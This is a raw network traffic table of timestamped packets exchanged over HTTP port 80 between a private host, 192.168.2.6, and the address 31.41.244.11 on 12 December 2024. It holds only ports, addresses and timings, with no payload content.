Dec 12, 2024 21:50:50.126059055 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.126179934 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.126215935 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.126372099 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.126386881 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.126425028 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.126508951 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.126530886 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.127218008 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.127324104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.127453089 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.128339052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.128465891 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.128676891 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.129513979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.129596949 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.130672932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.130769968 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.131835938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.131933928 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.132972002 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.133167028 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.134094954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.134207964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.135278940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.135448933 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.136300087 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.136459112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.136508942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.137567043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.137695074 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.138688087 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.138819933 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.139883995 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.140012026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.141015053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.141103029 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.142159939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.142277002 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.143346071 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.143450022 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.144511938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.144658089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.145618916 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.145770073 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.146796942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.146922112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.147918940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.148065090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.149084091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.149178028 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.150274992 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.150351048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.151392937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.151568890 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.152533054 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.152688026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.153682947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.153811932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.154829025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.154936075 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.155966997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.156100035 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.156560898 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.157124996 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.157238960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.160892010 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.161115885 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.161139011 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.161164045 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.161189079 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.290087938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.290154934 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.290232897 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.290234089 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.290436029 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.290564060 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.290613890 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.290677071 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.291615009 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.291686058 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.291702986 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.291766882 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.292716026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.292799950 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.293055058 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.293138027 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.293169975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.293277979 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.294266939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.294353008 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.294380903 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.294457912 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.295363903 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.295449018 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.295469046 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.295558929 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.296514034 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.296607971 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.296610117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.296700001 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.297635078 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.297718048 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.297770977 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.298079014 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.298805952 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.298913956 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.299835920 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.299956083 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.300050974 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.300180912 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.301203966 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.301249981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.302267075 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.302331924 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.303440094 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.303510904 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.304527998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.304631948 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.305644035 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.305871010 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.306809902 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.306941032 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.307987928 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.308126926 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.309103966 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.309226990 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.310092926 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.310305119 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.310334921 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.310350895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.310409069 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.311427116 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.311479092 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.311541080 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.311603069 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.312567949 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.312613964 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.312664032 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.312711954 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.313739061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.313786030 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.313858032 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.313900948 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.314874887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.314924002 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.314980984 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.315025091 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.316042900 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.316088915 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.316111088 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.316155910 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.317214966 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.317264080 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.317379951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.317426920 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.318377972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.318425894 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.318600893 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.319091082 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.319616079 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.319678068 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.320673943 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.320732117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.321774006 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.321875095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.322942019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.323137045 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.324076891 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.324158907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.325227022 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.325301886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.326421022 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.326493025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.327569962 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.327708960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.328689098 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.328802109 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.329868078 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.329921961 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.331002951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.331149101 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.332155943 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.332247019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.333280087 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.333379030 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.334471941 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.334578991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.335608959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.335740089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.336764097 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.336961031 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.338057995 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.338093996 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.338368893 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.339060068 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.339165926 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.340265036 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.340290070 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.341101885 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.341145039 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.341203928 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.341204882 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.341348886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.341464996 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.342084885 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.342500925 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.342555046 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.342629910 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.342678070 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.343700886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.343751907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.343764067 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.343805075 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.344805002 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.344856977 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.344933033 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.344980955 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.345943928 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.346209049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.347167015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.347246885 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.348274946 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.348366022 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.349400997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.349462986 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.358633041 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.360832930 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.482033968 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.482084990 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.482512951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.482682943 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.483697891 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.483809948 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.484070063 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.484833956 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.485179901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.485294104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.486368895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.486524105 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.486960888 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.487235069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.487384081 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.488506079 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.488708973 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.489943027 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.489947081 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.490077972 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.490164042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.490714073 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.490823984 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.490885019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.491869926 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.491993904 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.493048906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.493170023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.494677067 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.494824886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.495850086 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.495912075 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.496709108 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.496793985 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.497780085 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.497859001 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.498774052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.498908997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.499989033 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.500108957 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.500138998 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.501079082 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.501168966 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.502223969 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.502377033 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.503483057 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.503551960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.504549980 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.504791021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.505234957 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.505482912 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.505707026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.505863905 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.507050037 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.507174969 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.508683920 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.508810997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.509289026 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.509310961 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.509924889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.509994984 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.511111975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.511255980 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.512449026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.512597084 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.513298035 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.513389111 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.514384985 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.514431000 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.515147924 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.515217066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.515971899 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.516097069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.517206907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.517328978 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.518326044 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.518486023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.519439936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.519586086 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.520201921 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.520586967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.520709991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.521722078 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.521833897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.522917032 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.522985935 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.524112940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.524251938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.524877071 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.524950981 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.524950981 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.525167942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.525264978 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.526423931 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.526561975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.527483940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.527611017 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.528641939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.528840065 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.529778004 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.529903889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.530953884 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.531032085 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.532114983 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.532233953 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.533250093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.533354044 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.534401894 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.534558058 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.535562992 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.535681963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.536464930 CET	49971	80	192.168.2.6	31.41.244.11
